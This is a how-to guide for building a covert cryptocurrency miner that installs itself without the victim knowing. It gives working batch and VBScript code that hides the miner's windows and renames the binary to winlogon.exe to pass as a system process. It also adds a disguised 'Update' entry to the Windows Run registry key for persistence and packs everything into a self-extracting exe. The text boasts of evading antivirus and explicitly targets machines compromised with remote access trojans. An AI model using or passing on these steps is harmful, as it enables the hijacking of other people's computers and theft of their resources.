In this tutorial, I am going to teach you how you can make your own
silent crypto miner in just 5 minutes! The setup is VERY simple, but it's enough to stay undetected for a good month or two. The best part is you can mine any crypto-currency you want and it costs absolutely nothing to set up!

So let's go!

First of all, you need a pool account and any mining software
for the coin of your choice. I suggest creating an account
at Minergate. I highly suggest minergate, as I've been using it for a good 9 months and everything works perfectly (Plus, the GUI is pretty amazing in my opinion.)

NOTE: The step below can be replaced by any mining software on the internet.
If you have registered your account, just log in and scroll
to the bottom of the page. There should be a part named Supported Miners.
Go to it and choose a miner from the list on the left. At
the moment the best choice is probably "Yam miner" because it
is not detected by most antivirus software. Choose the package called
"" as it works on any 64bit system no matter which CPU/GPU it has.

After you have downloaded the ZIP, extract it to anywhere you want. Then go
back to the website and download the .bat file from the list
for your miner. A good choice is "FCN+XMR" which will mine
Monero and Fantomcoins for you. Place the .bat in the dir
where you have extracted the miner and rename it to
"start.bat". Then rename the "yam.exe" to "winlogon.exe" or
anything else, in my case winlogon.exe. Again, this text will be shown in Task Manager.

Now, open "start.bat" in Notepad or any other editor and replace
"yam" with whatever you renamed yam.exe to. Moreover, go the end of the line where it says "-t 1" and change it to "-t 2". This will increase the efficiency of the miner. The command may be different for different mining software that you choose.

Next open a new file in Notepad und save it as "start.vbs" in
the same folder. Enter the following code to it and save it

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "start.bat" & Chr(34), 0
Set WshShell = Nothing

Now create a "setup.bat" with Notepad or any other editor
and paste the following code.

SET INSTALLPATH="%appdata%"\miner
copy *.* %INSTALLPATH%
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "\"%appdata%\miner\start.vbs" /f

Last but not least create a file called "install.vbs" and
paste the following code.

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "setup.bat" & Chr(34), 0
Set WshShell = Nothing

Now, there is just one last step to finish your new silent miner.
Select all files now and use WinRAR to create a new archive
with them. Use the following options:

Compression Method = best
Create SFX archive

Now go to the tab "Comment" and paste the following lines of code.


And create the archive as *.exe file. Congrats, you have
built your own silent miner. You can mine any coin just
choose the suitable *.bat at MinerGate. Moreover, the
miner will be installed to AppData and added to the
startup registry. Finally, no windows will open when
the miner is started - we use the *.vbs files for that.

As said this is a very, VERY simple miner. But it will last
long enough on every machine to mine a decent bit of money for you. Use it on your slaves from your ratting!
